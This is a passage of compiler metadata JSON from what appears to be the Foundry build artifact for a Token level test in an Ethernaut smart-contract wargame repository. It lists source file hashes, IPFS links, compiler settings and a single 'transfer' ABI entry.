57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]},\"src/levels/DummyFactory.sol\":{\"keccak256\":\"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f\",\"dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Token.t.sol\":{\"keccak256\":\"0xb38d341efd33d02662f240f0b70b76578e70b1629993ce3fb6043d4d43f4e9f5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6c06db9b9798838d4e5a15f017932c69dec59b06859bf547a9394b6a0126901c\",\"dweb:/ipfs/QmQZN7JiSLV8UF3UffdS9jY62xZQHEgnnSftp5Gxm6aZyu\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Token.t.sol":"Token"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPH